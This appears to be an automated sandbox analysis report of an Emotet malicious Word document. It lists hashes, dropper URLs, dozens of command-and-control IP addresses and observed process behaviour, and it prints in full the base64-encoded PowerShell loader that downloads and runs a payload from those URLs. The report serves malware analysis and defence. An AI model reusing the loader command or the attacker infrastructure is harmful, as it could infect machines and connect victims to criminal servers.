emotet | e72282cf5896d2a6649446f6023b34c7d71ba08f5be3bb0def9185fa742c3dea

General

Target
emotet_e3_e72282cf5896d2a6649446f6023b34c7d71ba08f5be3bb0def9185fa742c3dea_2020-08-13__154138._doc.doc
Size 231KB
Sample200813-rscdd392v2
SHA256 e72282cf5896d2a6649446f6023b34c7d71ba08f5be3bb0def9185fa742c3dea
MD5 856066d51670bd3d5c9cc08cf509c2bd
SHA1 8015aa8cd3a9833dd53ebf67d93717dea79f5a44
SHA512 a08e40f37f33e20ac90062ba9b7abb04e3914f2ad43dd57f03532324b960e7902d92522d38cbfd9b958235964568738cddfcb81cc8638ae73cb002172d47c49e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://gregemmerth.com/stats/rBZp0wy31512967/
exe.dropper
http://paralink.com.br/faatads/19zPjcmw7r318182393/
exe.dropper
http://riandutra.com/img/yiZS/
exe.dropper
https://mrveggy.com/erros/Busgh63a1960/
exe.dropper
http://mycyberhealth.online/yyczief/wlW/

Extracted

Family

emotet

C2

176.216.226.44:80
159.203.232.29:8080
185.86.148.68:443
87.106.231.60:8080
113.161.148.81:80
78.189.60.109:443
192.163.221.191:8080
31.146.61.34:80
37.70.131.107:80
153.220.182.49:80
177.144.130.105:443
181.167.35.84:80
202.5.47.71:80
192.241.220.183:8080
78.188.170.128:80
182.176.95.147:80
87.252.100.28:80
115.78.11.155:80
212.156.133.218:80
203.153.216.178:7080
77.74.78.80:443
216.75.37.196:8080
195.201.56.70:8080
115.165.3.213:80
217.199.160.224:8080
105.213.67.88:80
190.55.233.156:80
91.83.93.103:443
181.164.110.7:80
51.38.201.19:7080
50.116.78.109:8080
178.33.167.120:8080
176.9.93.82:7080
192.210.217.94:8080
113.160.180.109:80
75.139.38.211:80
157.7.164.178:8081
190.164.75.175:80
182.187.139.200:8080
172.96.190.154:8080
37.46.129.215:8080
201.235.10.215:80
188.166.25.84:8080
181.113.229.139:443
139.99.157.213:8080
5.79.70.250:8080
190.190.15.20:80
212.112.113.235:80
143.95.101.72:8080
81.17.93.134:80
172.105.78.244:8080
46.105.131.68:8080
105.209.235.113:8080
92.24.51.238:80
163.172.107.70:8080
187.64.128.197:80
188.251.213.180:443
81.214.253.80:443
181.134.9.162:80
185.208.226.142:8080
46.32.229.152:8080
188.0.135.237:80
41.185.29.128:8080
179.5.118.12:80
177.37.81.212:443
107.161.30.122:8080
198.57.203.63:8080
114.173.201.110:80
97.104.107.190:80
139.59.12.63:8080
185.142.236.163:443
203.153.216.182:7080
75.127.14.170:8080
74.208.173.91:8080
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3496	388	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2256-14-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/2256-14-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/2336-17-0x0000000003E30000-0x0000000003E3C000-memory.dmp	emotet
behavioral2/memory/2336-17-0x0000000003E30000-0x0000000003E3C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
20	3496	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2256	Wmzy.exe
2336	schtasks.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wmvdspa\schtasks.exe	Wmzy.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
424	WINWORD.EXE
424	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3496	powersheLL.exe
3496	powersheLL.exe
3496	powersheLL.exe
2336	schtasks.exe
2336	schtasks.exe
2336	schtasks.exe
2336	schtasks.exe
2336	schtasks.exe
2336	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3496	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
2256	Wmzy.exe
2256	Wmzy.exe
2336	schtasks.exe
2336	schtasks.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3496 wrote to memory of 2256	3496	powersheLL.exe	76
PID 3496 wrote to memory of 2256	3496	powersheLL.exe	76
PID 3496 wrote to memory of 2256	3496	powersheLL.exe	76
PID 2256 wrote to memory of 2336	2256	Wmzy.exe	77
PID 2256 wrote to memory of 2336	2256	Wmzy.exe	77
PID 2256 wrote to memory of 2336	2256	Wmzy.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e72282cf5896d2a6649446f6023b34c7d71ba08f5be3bb0def9185fa742c3dea_2020-08-13__154138._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:424

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3496
- C:\Users\Admin\AppData\Local\Temp\Wmzy.exe
  "C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\SysWOW64\wmvdspa\schtasks.exe
    "C:\Windows\SysWOW64\wmvdspa\schtasks.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/424-0-0x00007FFC5F100000-0x00007FFC5F7C6000-memory.dmp

Download

memory/424-4-0x0000028225F6B000-0x0000028225F80000-memory.dmp

Download

memory/2256-14-0x0000000002230000-0x000000000223C000-memory.dmp

Download

memory/2336-17-0x0000000003E30000-0x0000000003E3C000-memory.dmp

Download

memory/3496-8-0x00007FFC57760000-0x00007FFC5814C000-memory.dmp

Download

memory/3496-9-0x0000021C321A0000-0x0000021C321A1000-memory.dmp

Download

memory/3496-10-0x0000021C32350000-0x0000021C32351000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads